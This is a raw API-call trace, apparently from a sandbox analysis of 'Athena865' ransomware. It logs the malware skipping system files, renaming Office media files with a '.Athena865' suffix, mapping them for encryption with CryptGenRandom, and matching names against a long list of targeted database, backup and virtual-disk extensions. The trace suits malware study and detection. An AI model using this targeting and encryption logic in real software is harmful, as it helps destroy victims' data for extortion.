(lpString1="PUSH.WAV", lpString2="bootmgr") returned 1 [0152.945] lstrcmpiW (lpString1="PUSH.WAV", lpString2="temp") returned -1 [0152.945] lstrcmpiW (lpString1="PUSH.WAV", lpString2="pagefile.sys") returned 1 [0152.945] lstrcmpiW (lpString1="PUSH.WAV", lpString2="boot") returned 1 [0152.945] lstrcmpiW (lpString1="PUSH.WAV", lpString2="ids.txt") returned 1 [0152.946] lstrcmpiW (lpString1="PUSH.WAV", lpString2="ntuser.dat") returned 1 [0152.946] lstrcmpiW (lpString1="PUSH.WAV", lpString2="perflogs") returned 1 [0152.946] lstrcmpiW (lpString1="PUSH.WAV", lpString2="MSBuild") returned 1 [0152.946] lstrlenW (lpString="PUSH.WAV") returned 8 [0152.946] lstrcpyW (in: lpString1=0x241e8aa, lpString2="PUSH.WAV" | out: lpString1="PUSH.WAV") returned="PUSH.WAV" [0152.946] lstrlenW (lpString="PUSH.WAV") returned 8 [0152.946] lstrlenW (lpString="Athena865") returned 9 [0152.946] lstrlenW (lpString=".dll") returned 4 [0152.946] lstrcmpiW (lpString1="PUSH.WAV", lpString2=".dll") returned 1 [0152.946] lstrlenW (lpString=".lnk") returned 4 [0152.946] lstrcmpiW (lpString1="PUSH.WAV", lpString2=".lnk") returned 1 [0152.946] lstrlenW (lpString=".ini") returned 4 [0152.946] lstrcmpiW (lpString1="PUSH.WAV", lpString2=".ini") returned 1 [0152.946] lstrlenW (lpString=".sys") returned 4 [0152.946] lstrcmpiW (lpString1="PUSH.WAV", lpString2=".sys") returned 1 [0152.946] lstrlenW (lpString="PUSH.WAV") returned 8 [0152.946] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV.Athena865") returned 67 [0152.946] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\push.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\push.wav.athena865"), dwFlags=0x1) returned 1 [0152.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\push.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.951] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15748) returned 1 [0152.951] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.952] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.952] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.952] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.953] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.953] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.953] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4090, lpName=0x0) returned 0x154 [0152.956] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4090) returned 0x100000 [0152.959] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.959] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.959] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0152.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0152.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.971] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.972] CloseHandle (hObject=0x154) returned 1 [0152.972] CloseHandle (hObject=0x17c) returned 1 [0152.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.972] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eba3e00, ftCreationTime.dwHighDateTime=0x1bfa2b0, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3eba3e00, ftLastWriteTime.dwHighDateTime=0x1bfa2b0, nFileSizeHigh=0x0, nFileSizeLow=0x1664, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SUCTION.WAV", cAlternateFileName="")) returned 1 [0152.972] lstrcmpiW (lpString1="SUCTION.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.972] lstrcmpiW (lpString1="SUCTION.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.972] lstrcmpiW (lpString1="SUCTION.WAV", lpString2=".") returned 1 [0152.972] lstrcmpiW (lpString1="SUCTION.WAV", lpString2="..") returned 1 [0152.972] lstrcmpiW (lpString1="SUCTION.WAV", lpString2="windows") returned -1 [0152.972] lstrcmpiW (lpString1="SUCTION.WAV", lpString2="bootmgr") returned 1 [0152.972] lstrcmpiW (lpString1="SUCTION.WAV", lpString2="temp") returned -1 [0152.972] lstrcmpiW (lpString1="SUCTION.WAV", lpString2="pagefile.sys") returned 1 [0152.972] lstrcmpiW (lpString1="SUCTION.WAV", lpString2="boot") returned 1 [0152.972] lstrcmpiW (lpString1="SUCTION.WAV", lpString2="ids.txt") returned 1 [0152.973] lstrcmpiW (lpString1="SUCTION.WAV", lpString2="ntuser.dat") returned 1 [0152.973] lstrcmpiW (lpString1="SUCTION.WAV", lpString2="perflogs") returned 1 [0152.973] lstrcmpiW (lpString1="SUCTION.WAV", lpString2="MSBuild") returned 1 [0152.973] lstrlenW (lpString="SUCTION.WAV") returned 11 [0152.973] lstrcpyW (in: lpString1=0x241e8aa, lpString2="SUCTION.WAV" | out: lpString1="SUCTION.WAV") returned="SUCTION.WAV" [0152.973] lstrlenW (lpString="SUCTION.WAV") returned 11 [0152.973] lstrlenW (lpString="Athena865") returned 9 [0152.973] lstrcmpiW (lpString1="CTION.WAV", lpString2="Athena865") returned 1 [0152.973] lstrlenW (lpString=".dll") returned 4 [0152.973] lstrcmpiW (lpString1="SUCTION.WAV", lpString2=".dll") returned 1 [0152.973] lstrlenW (lpString=".lnk") returned 4 [0152.973] lstrcmpiW (lpString1="SUCTION.WAV", lpString2=".lnk") returned 1 [0152.973] lstrlenW (lpString=".ini") returned 4 [0152.973] lstrcmpiW (lpString1="SUCTION.WAV", lpString2=".ini") returned 1 [0152.973] lstrlenW (lpString=".sys") returned 4 [0152.973] lstrcmpiW (lpString1="SUCTION.WAV", lpString2=".sys") returned 1 [0152.973] lstrlenW (lpString="SUCTION.WAV") returned 11 [0152.973] lstrlenW (lpString="bak") returned 3 [0152.973] lstrcmpiW (lpString1="WAV", lpString2="bak") returned 1 [0152.973] lstrlenW (lpString="ba_") returned 3 [0152.973] lstrcmpiW (lpString1="WAV", lpString2="ba_") returned 1 [0152.973] lstrlenW (lpString="dbb") returned 3 [0152.973] lstrcmpiW (lpString1="WAV", lpString2="dbb") returned 1 [0152.973] lstrlenW (lpString="vmdk") returned 4 [0152.973] lstrcmpiW (lpString1=".WAV", lpString2="vmdk") returned -1 [0152.973] lstrlenW (lpString="rar") returned 3 [0152.973] lstrcmpiW (lpString1="WAV", lpString2="rar") returned 1 [0152.974] lstrlenW (lpString="zip") returned 3 [0152.974] lstrcmpiW (lpString1="WAV", lpString2="zip") returned -1 [0152.974] lstrlenW (lpString="tgz") returned 3 [0152.974] lstrcmpiW (lpString1="WAV", lpString2="tgz") returned 1 [0152.974] lstrlenW (lpString="vbox") returned 4 [0152.974] lstrcmpiW (lpString1=".WAV", lpString2="vbox") returned -1 [0152.974] lstrlenW (lpString="vdi") returned 3 [0152.974] lstrcmpiW (lpString1="WAV", lpString2="vdi") returned 1 [0152.974] lstrlenW (lpString="vhd") returned 3 [0152.974] lstrcmpiW (lpString1="WAV", lpString2="vhd") returned 1 [0152.974] lstrlenW (lpString="vhdx") returned 4 [0152.974] lstrcmpiW (lpString1=".WAV", lpString2="vhdx") returned -1 [0152.974] lstrlenW (lpString="avhd") returned 4 [0152.974] lstrcmpiW (lpString1=".WAV", lpString2="avhd") returned -1 [0152.974] lstrlenW (lpString="db") returned 2 [0152.974] lstrcmpiW (lpString1="AV", lpString2="db") returned -1 [0152.974] lstrlenW (lpString="db2") returned 3 [0152.974] lstrcmpiW (lpString1="WAV", lpString2="db2") returned 1 [0152.974] lstrlenW (lpString="db3") returned 3 [0152.974] lstrcmpiW (lpString1="WAV", lpString2="db3") returned 1 [0152.974] lstrlenW (lpString="dbf") returned 3 [0152.974] lstrcmpiW (lpString1="WAV", lpString2="dbf") returned 1 [0152.974] lstrlenW (lpString="mdf") returned 3 [0152.974] lstrcmpiW (lpString1="WAV", lpString2="mdf") returned 1 [0152.974] lstrlenW (lpString="mdb") returned 3 [0152.974] lstrcmpiW (lpString1="WAV", lpString2="mdb") returned 1 [0152.974] lstrlenW (lpString="sql") returned 3 [0152.974] lstrcmpiW (lpString1="WAV", lpString2="sql") returned 1 [0152.974] lstrlenW (lpString="sqlite") returned 6 [0152.975] lstrcmpiW (lpString1="ON.WAV", lpString2="sqlite") returned -1 [0152.975] lstrlenW (lpString="sqlite3") returned 7 [0152.975] lstrcmpiW (lpString1="ION.WAV", lpString2="sqlite3") returned -1 [0152.975] lstrlenW (lpString="sqlitedb") returned 8 [0152.975] lstrcmpiW (lpString1="TION.WAV", lpString2="sqlitedb") returned 1 [0152.975] lstrlenW (lpString="xml") returned 3 [0152.975] lstrcmpiW (lpString1="WAV", lpString2="xml") returned -1 [0152.975] lstrlenW (lpString="$er") returned 3 [0152.975] lstrcmpiW (lpString1="WAV", lpString2="$er") returned 1 [0152.975] lstrlenW (lpString="4dd") returned 3 [0152.975] lstrcmpiW (lpString1="WAV", lpString2="4dd") returned 1 [0152.975] lstrlenW (lpString="4dl") returned 3 [0152.975] lstrcmpiW (lpString1="WAV", lpString2="4dl") returned 1 [0152.975] lstrlenW (lpString="^^^") returned 3 [0152.975] lstrcmpiW (lpString1="WAV", lpString2="^^^") returned 1 [0152.975] lstrlenW (lpString="abs") returned 3 [0152.975] lstrcmpiW (lpString1="WAV", lpString2="abs") returned 1 [0152.975] lstrlenW (lpString="abx") returned 3 [0152.975] lstrcmpiW (lpString1="WAV", lpString2="abx") returned 1 [0152.975] lstrlenW (lpString="accdb") returned 5 [0152.975] lstrcmpiW (lpString1="N.WAV", lpString2="accdb") returned 1 [0152.975] lstrlenW (lpString="accdc") returned 5 [0152.975] lstrcmpiW (lpString1="N.WAV", lpString2="accdc") returned 1 [0152.975] lstrlenW (lpString="accde") returned 5 [0152.975] lstrcmpiW (lpString1="N.WAV", lpString2="accde") returned 1 [0152.975] lstrlenW (lpString="accdr") returned 5 [0152.975] lstrcmpiW (lpString1="N.WAV", lpString2="accdr") returned 1 [0152.975] lstrlenW (lpString="accdt") returned 5 [0152.976] lstrcmpiW (lpString1="N.WAV", lpString2="accdt") returned 1 [0152.976] lstrlenW (lpString="accdw") returned 5 [0152.976] lstrcmpiW (lpString1="N.WAV", lpString2="accdw") returned 1 [0152.976] lstrlenW (lpString="accft") returned 5 [0152.976] lstrcmpiW (lpString1="N.WAV", lpString2="accft") returned 1 [0152.976] lstrlenW (lpString="adb") returned 3 [0152.976] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.976] lstrlenW (lpString="adb") returned 3 [0152.976] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.976] lstrlenW (lpString="ade") returned 3 [0152.976] lstrcmpiW (lpString1="WAV", lpString2="ade") returned 1 [0152.976] lstrlenW (lpString="adf") returned 3 [0152.976] lstrcmpiW (lpString1="WAV", lpString2="adf") returned 1 [0152.976] lstrlenW (lpString="adn") returned 3 [0152.976] lstrcmpiW (lpString1="WAV", lpString2="adn") returned 1 [0152.976] lstrlenW (lpString="adp") returned 3 [0152.976] lstrcmpiW (lpString1="WAV", lpString2="adp") returned 1 [0152.976] lstrlenW (lpString="alf") returned 3 [0152.976] lstrcmpiW (lpString1="WAV", lpString2="alf") returned 1 [0152.976] lstrlenW (lpString="ask") returned 3 [0152.976] lstrcmpiW (lpString1="WAV", lpString2="ask") returned 1 [0152.976] lstrlenW (lpString="btr") returned 3 [0152.976] lstrcmpiW (lpString1="WAV", lpString2="btr") returned 1 [0152.976] lstrlenW (lpString="cat") returned 3 [0152.976] lstrcmpiW (lpString1="WAV", lpString2="cat") returned 1 [0152.976] lstrlenW (lpString="cdb") returned 3 [0152.976] lstrcmpiW (lpString1="WAV", lpString2="cdb") returned 1 [0152.977] lstrlenW (lpString="ckp") returned 3 [0152.977] lstrcmpiW (lpString1="WAV", lpString2="ckp") returned 1 [0152.977] lstrlenW (lpString="cma") returned 3 [0152.977] lstrcmpiW (lpString1="WAV", lpString2="cma") returned 1 [0152.977] lstrlenW (lpString="cpd") returned 3 [0152.977] lstrcmpiW (lpString1="WAV", lpString2="cpd") returned 1 [0152.977] lstrlenW (lpString="dacpac") returned 6 [0152.977] lstrcmpiW (lpString1="ON.WAV", lpString2="dacpac") returned 1 [0152.977] lstrlenW (lpString="dad") returned 3 [0152.977] lstrcmpiW (lpString1="WAV", lpString2="dad") returned 1 [0152.977] lstrlenW (lpString="dadiagrams") returned 10 [0152.977] lstrcmpiW (lpString1="UCTION.WAV", lpString2="dadiagrams") returned 1 [0152.977] lstrlenW (lpString="daschema") returned 8 [0152.977] lstrcmpiW (lpString1="TION.WAV", lpString2="daschema") returned 1 [0152.977] lstrlenW (lpString="db-journal") returned 10 [0152.977] lstrcmpiW (lpString1="UCTION.WAV", lpString2="db-journal") returned 1 [0152.977] lstrlenW (lpString="db-shm") returned 6 [0152.977] lstrcmpiW (lpString1="ON.WAV", lpString2="db-shm") returned 1 [0152.977] lstrlenW (lpString="db-wal") returned 6 [0152.977] lstrcmpiW (lpString1="ON.WAV", lpString2="db-wal") returned 1 [0152.977] lstrlenW (lpString="dbc") returned 3 [0152.977] lstrcmpiW (lpString1="WAV", lpString2="dbc") returned 1 [0152.977] lstrlenW (lpString="dbs") returned 3 [0152.977] lstrcmpiW (lpString1="WAV", lpString2="dbs") returned 1 [0152.977] lstrlenW (lpString="dbt") returned 3 [0152.977] lstrcmpiW (lpString1="WAV", lpString2="dbt") returned 1 [0152.977] lstrlenW (lpString="dbv") returned 3 [0152.977] lstrcmpiW (lpString1="WAV", lpString2="dbv") returned 1 [0152.977] lstrlenW (lpString="dbx") returned 3 [0152.977] lstrcmpiW (lpString1="WAV", lpString2="dbx") returned 1 [0152.978] lstrlenW (lpString="dcb") returned 3 [0152.978] lstrcmpiW (lpString1="WAV", lpString2="dcb") returned 1 [0152.978] lstrlenW (lpString="dct") returned 3 [0152.978] lstrcmpiW (lpString1="WAV", lpString2="dct") returned 1 [0152.978] lstrlenW (lpString="dcx") returned 3 [0152.978] lstrcmpiW (lpString1="WAV", lpString2="dcx") returned 1 [0152.978] lstrlenW (lpString="ddl") returned 3 [0152.978] lstrcmpiW (lpString1="WAV", lpString2="ddl") returned 1 [0152.978] lstrlenW (lpString="dlis") returned 4 [0152.978] lstrcmpiW (lpString1=".WAV", lpString2="dlis") returned -1 [0152.978] lstrlenW (lpString="dp1") returned 3 [0152.978] lstrcmpiW (lpString1="WAV", lpString2="dp1") returned 1 [0152.978] lstrlenW (lpString="dqy") returned 3 [0152.978] lstrcmpiW (lpString1="WAV", lpString2="dqy") returned 1 [0152.978] lstrlenW (lpString="dsk") returned 3 [0152.978] lstrcmpiW (lpString1="WAV", lpString2="dsk") returned 1 [0152.978] lstrlenW (lpString="dsn") returned 3 [0152.978] lstrcmpiW (lpString1="WAV", lpString2="dsn") returned 1 [0152.978] lstrlenW (lpString="dtsx") returned 4 [0152.978] lstrcmpiW (lpString1=".WAV", lpString2="dtsx") returned -1 [0152.978] lstrlenW (lpString="dxl") returned 3 [0152.978] lstrcmpiW (lpString1="WAV", lpString2="dxl") returned 1 [0152.978] lstrlenW (lpString="eco") returned 3 [0152.978] lstrcmpiW (lpString1="WAV", lpString2="eco") returned 1 [0152.978] lstrlenW (lpString="ecx") returned 3 [0152.978] lstrcmpiW (lpString1="WAV", lpString2="ecx") returned 1 [0152.978] lstrlenW (lpString="edb") returned 3 [0152.978] lstrcmpiW (lpString1="WAV", lpString2="edb") returned 1 [0152.979] lstrlenW (lpString="epim") returned 4 [0152.979] lstrcmpiW (lpString1=".WAV", lpString2="epim") returned -1 [0152.979] lstrlenW (lpString="fcd") returned 3 [0152.979] lstrcmpiW (lpString1="WAV", lpString2="fcd") returned 1 [0152.979] lstrlenW (lpString="fdb") returned 3 [0152.979] lstrcmpiW (lpString1="WAV", lpString2="fdb") returned 1 [0152.979] lstrlenW (lpString="fic") returned 3 [0152.979] lstrcmpiW (lpString1="WAV", lpString2="fic") returned 1 [0152.979] lstrlenW (lpString="flexolibrary") returned 12 [0152.979] lstrlenW (lpString="fm5") returned 3 [0152.979] lstrcmpiW (lpString1="WAV", lpString2="fm5") returned 1 [0152.979] lstrlenW (lpString="fmp") returned 3 [0152.979] lstrcmpiW (lpString1="WAV", lpString2="fmp") returned 1 [0152.979] lstrlenW (lpString="fmp12") returned 5 [0152.979] lstrcmpiW (lpString1="N.WAV", lpString2="fmp12") returned 1 [0152.979] lstrlenW (lpString="fmpsl") returned 5 [0152.979] lstrcmpiW (lpString1="N.WAV", lpString2="fmpsl") returned 1 [0152.979] lstrlenW (lpString="fol") returned 3 [0152.979] lstrcmpiW (lpString1="WAV", lpString2="fol") returned 1 [0152.979] lstrlenW (lpString="fp3") returned 3 [0152.979] lstrcmpiW (lpString1="WAV", lpString2="fp3") returned 1 [0152.979] lstrlenW (lpString="fp4") returned 3 [0152.979] lstrcmpiW (lpString1="WAV", lpString2="fp4") returned 1 [0152.979] lstrlenW (lpString="fp5") returned 3 [0152.979] lstrcmpiW (lpString1="WAV", lpString2="fp5") returned 1 [0152.979] lstrlenW (lpString="fp7") returned 3 [0152.979] lstrcmpiW (lpString1="WAV", lpString2="fp7") returned 1 [0152.979] lstrlenW (lpString="fpt") returned 3 [0152.979] lstrcmpiW (lpString1="WAV", lpString2="fpt") returned 1 [0152.979] lstrlenW (lpString="frm") returned 3 [0152.980] lstrcmpiW (lpString1="WAV", lpString2="frm") returned 1 [0152.980] lstrlenW (lpString="gdb") returned 3 [0152.980] lstrcmpiW (lpString1="WAV", lpString2="gdb") returned 1 [0152.980] lstrlenW (lpString="gdb") returned 3 [0152.980] lstrcmpiW (lpString1="WAV", lpString2="gdb") returned 1 [0152.980] lstrlenW (lpString="grdb") returned 4 [0152.980] lstrcmpiW (lpString1=".WAV", lpString2="grdb") returned -1 [0152.980] lstrlenW (lpString="gwi") returned 3 [0152.980] lstrcmpiW (lpString1="WAV", lpString2="gwi") returned 1 [0152.980] lstrlenW (lpString="hdb") returned 3 [0152.980] lstrcmpiW (lpString1="WAV", lpString2="hdb") returned 1 [0152.980] lstrlenW (lpString="his") returned 3 [0152.980] lstrcmpiW (lpString1="WAV", lpString2="his") returned 1 [0152.980] lstrlenW (lpString="ib") returned 2 [0152.980] lstrcmpiW (lpString1="AV", lpString2="ib") returned -1 [0152.980] lstrlenW (lpString="idb") returned 3 [0152.980] lstrcmpiW (lpString1="WAV", lpString2="idb") returned 1 [0152.980] lstrlenW (lpString="ihx") returned 3 [0152.980] lstrcmpiW (lpString1="WAV", lpString2="ihx") returned 1 [0152.980] lstrlenW (lpString="itdb") returned 4 [0152.980] lstrcmpiW (lpString1=".WAV", lpString2="itdb") returned -1 [0152.980] lstrlenW (lpString="itw") returned 3 [0152.980] lstrcmpiW (lpString1="WAV", lpString2="itw") returned 1 [0152.980] lstrlenW (lpString="jet") returned 3 [0152.980] lstrcmpiW (lpString1="WAV", lpString2="jet") returned 1 [0152.980] lstrlenW (lpString="jtx") returned 3 [0152.980] lstrcmpiW (lpString1="WAV", lpString2="jtx") returned 1 [0152.980] lstrlenW (lpString="kdb") returned 3 [0152.980] lstrcmpiW (lpString1="WAV", lpString2="kdb") returned 1 [0152.981] lstrlenW (lpString="kexi") returned 4 [0152.981] lstrcmpiW (lpString1=".WAV", lpString2="kexi") returned -1 [0152.981] lstrlenW (lpString="kexic") returned 5 [0152.981] lstrcmpiW (lpString1="N.WAV", lpString2="kexic") returned 1 [0152.981] lstrlenW (lpString="kexis") returned 5 [0152.981] lstrcmpiW (lpString1="N.WAV", lpString2="kexis") returned 1 [0152.981] lstrlenW (lpString="lgc") returned 3 [0152.981] lstrcmpiW (lpString1="WAV", lpString2="lgc") returned 1 [0152.981] lstrlenW (lpString="lwx") returned 3 [0152.981] lstrcmpiW (lpString1="WAV", lpString2="lwx") returned 1 [0152.981] lstrlenW (lpString="maf") returned 3 [0152.981] lstrcmpiW (lpString1="WAV", lpString2="maf") returned 1 [0152.981] lstrlenW (lpString="maq") returned 3 [0152.981] lstrcmpiW (lpString1="WAV", lpString2="maq") returned 1 [0152.981] lstrlenW (lpString="mar") returned 3 [0152.981] lstrcmpiW (lpString1="WAV", lpString2="mar") returned 1 [0152.981] lstrlenW (lpString="marshal") returned 7 [0152.981] lstrcmpiW (lpString1="ION.WAV", lpString2="marshal") returned -1 [0152.981] lstrlenW (lpString="mas") returned 3 [0152.981] lstrcmpiW (lpString1="WAV", lpString2="mas") returned 1 [0152.981] lstrlenW (lpString="mav") returned 3 [0152.981] lstrcmpiW (lpString1="WAV", lpString2="mav") returned 1 [0152.981] lstrlenW (lpString="maw") returned 3 [0152.981] lstrcmpiW (lpString1="WAV", lpString2="maw") returned 1 [0152.981] lstrlenW (lpString="mdbhtml") returned 7 [0152.981] lstrcmpiW (lpString1="ION.WAV", lpString2="mdbhtml") returned -1 [0152.981] lstrlenW (lpString="mdn") returned 3 [0152.981] lstrcmpiW (lpString1="WAV", lpString2="mdn") returned 1 [0152.981] lstrlenW (lpString="mdt") returned 3 [0152.982] lstrcmpiW (lpString1="WAV", lpString2="mdt") returned 1 [0152.982] lstrlenW (lpString="mfd") returned 3 [0152.982] lstrcmpiW (lpString1="WAV", lpString2="mfd") returned 1 [0152.982] lstrlenW (lpString="mpd") returned 3 [0152.982] lstrcmpiW (lpString1="WAV", lpString2="mpd") returned 1 [0152.982] lstrlenW (lpString="mrg") returned 3 [0152.982] lstrcmpiW (lpString1="WAV", lpString2="mrg") returned 1 [0152.982] lstrlenW (lpString="mud") returned 3 [0152.982] lstrcmpiW (lpString1="WAV", lpString2="mud") returned 1 [0152.982] lstrlenW (lpString="mwb") returned 3 [0152.982] lstrcmpiW (lpString1="WAV", lpString2="mwb") returned 1 [0152.982] lstrlenW (lpString="myd") returned 3 [0152.982] lstrcmpiW (lpString1="WAV", lpString2="myd") returned 1 [0152.982] lstrlenW (lpString="ndf") returned 3 [0152.982] lstrcmpiW (lpString1="WAV", lpString2="ndf") returned 1 [0152.982] lstrlenW (lpString="nnt") returned 3 [0152.982] lstrcmpiW (lpString1="WAV", lpString2="nnt") returned 1 [0152.982] lstrlenW (lpString="nrmlib") returned 6 [0152.982] lstrcmpiW (lpString1="ON.WAV", lpString2="nrmlib") returned 1 [0152.982] lstrlenW (lpString="ns2") returned 3 [0152.982] lstrcmpiW (lpString1="WAV", lpString2="ns2") returned 1 [0152.982] lstrlenW (lpString="ns3") returned 3 [0152.982] lstrcmpiW (lpString1="WAV", lpString2="ns3") returned 1 [0152.982] lstrlenW (lpString="ns4") returned 3 [0152.982] lstrcmpiW (lpString1="WAV", lpString2="ns4") returned 1 [0152.982] lstrlenW (lpString="nsf") returned 3 [0152.982] lstrcmpiW (lpString1="WAV", lpString2="nsf") returned 1 [0152.982] lstrlenW (lpString="nv") returned 2 [0152.983] lstrcmpiW (lpString1="AV", lpString2="nv") returned -1 [0152.983] lstrlenW (lpString="nv2") returned 3 [0152.983] lstrcmpiW (lpString1="WAV", lpString2="nv2") returned 1 [0152.983] lstrlenW (lpString="nwdb") returned 4 [0152.983] lstrcmpiW (lpString1=".WAV", lpString2="nwdb") returned -1 [0152.983] lstrlenW (lpString="nyf") returned 3 [0152.983] lstrcmpiW (lpString1="WAV", lpString2="nyf") returned 1 [0152.983] lstrlenW (lpString="odb") returned 3 [0152.983] lstrcmpiW (lpString1="WAV", lpString2="odb") returned 1 [0152.983] lstrlenW (lpString="odb") returned 3 [0152.983] lstrcmpiW (lpString1="WAV", lpString2="odb") returned 1 [0152.983] lstrlenW (lpString="oqy") returned 3 [0152.983] lstrcmpiW (lpString1="WAV", lpString2="oqy") returned 1 [0152.983] lstrlenW (lpString="ora") returned 3 [0152.983] lstrcmpiW (lpString1="WAV", lpString2="ora") returned 1 [0152.983] lstrlenW (lpString="orx") returned 3 [0152.983] lstrcmpiW (lpString1="WAV", lpString2="orx") returned 1 [0152.983] lstrlenW (lpString="owc") returned 3 [0152.983] lstrcmpiW (lpString1="WAV", lpString2="owc") returned 1 [0152.983] lstrlenW (lpString="p96") returned 3 [0152.983] lstrcmpiW (lpString1="WAV", lpString2="p96") returned 1 [0152.983] lstrlenW (lpString="p97") returned 3 [0152.983] lstrcmpiW (lpString1="WAV", lpString2="p97") returned 1 [0152.983] lstrlenW (lpString="pan") returned 3 [0152.983] lstrcmpiW (lpString1="WAV", lpString2="pan") returned 1 [0152.983] lstrlenW (lpString="pdb") returned 3 [0152.983] lstrcmpiW (lpString1="WAV", lpString2="pdb") returned 1 [0152.983] lstrlenW (lpString="pdm") returned 3 [0152.983] lstrcmpiW (lpString1="WAV", lpString2="pdm") returned 1 [0152.984] lstrlenW (lpString="pnz") returned 3 [0152.984] lstrcmpiW (lpString1="WAV", lpString2="pnz") returned 1 [0152.984] lstrlenW (lpString="qry") returned 3 [0152.984] lstrcmpiW (lpString1="WAV", lpString2="qry") returned 1 [0152.984] lstrlenW (lpString="qvd") returned 3 [0152.984] lstrcmpiW (lpString1="WAV", lpString2="qvd") returned 1 [0152.984] lstrlenW (lpString="rbf") returned 3 [0152.984] lstrcmpiW (lpString1="WAV", lpString2="rbf") returned 1 [0152.984] lstrlenW (lpString="rctd") returned 4 [0152.984] lstrcmpiW (lpString1=".WAV", lpString2="rctd") returned -1 [0152.984] lstrlenW (lpString="rod") returned 3 [0152.984] lstrcmpiW (lpString1="WAV", lpString2="rod") returned 1 [0152.984] lstrlenW (lpString="rodx") returned 4 [0152.984] lstrcmpiW (lpString1=".WAV", lpString2="rodx") returned -1 [0152.984] lstrlenW (lpString="rpd") returned 3 [0152.984] lstrcmpiW (lpString1="WAV", lpString2="rpd") returned 1 [0152.984] lstrlenW (lpString="rsd") returned 3 [0152.984] lstrcmpiW (lpString1="WAV", lpString2="rsd") returned 1 [0152.984] lstrlenW (lpString="sas7bdat") returned 8 [0152.984] lstrcmpiW (lpString1="TION.WAV", lpString2="sas7bdat") returned 1 [0152.984] lstrlenW (lpString="sbf") returned 3 [0152.984] lstrcmpiW (lpString1="WAV", lpString2="sbf") returned 1 [0152.984] lstrlenW (lpString="scx") returned 3 [0152.984] lstrcmpiW (lpString1="WAV", lpString2="scx") returned 1 [0152.984] lstrlenW (lpString="sdb") returned 3 [0152.984] lstrcmpiW (lpString1="WAV", lpString2="sdb") returned 1 [0152.984] lstrlenW (lpString="sdc") returned 3 [0152.984] lstrcmpiW (lpString1="WAV", lpString2="sdc") returned 1 [0152.984] lstrlenW (lpString="sdf") returned 3 [0152.985] lstrcmpiW (lpString1="WAV", lpString2="sdf") returned 1 [0152.985] 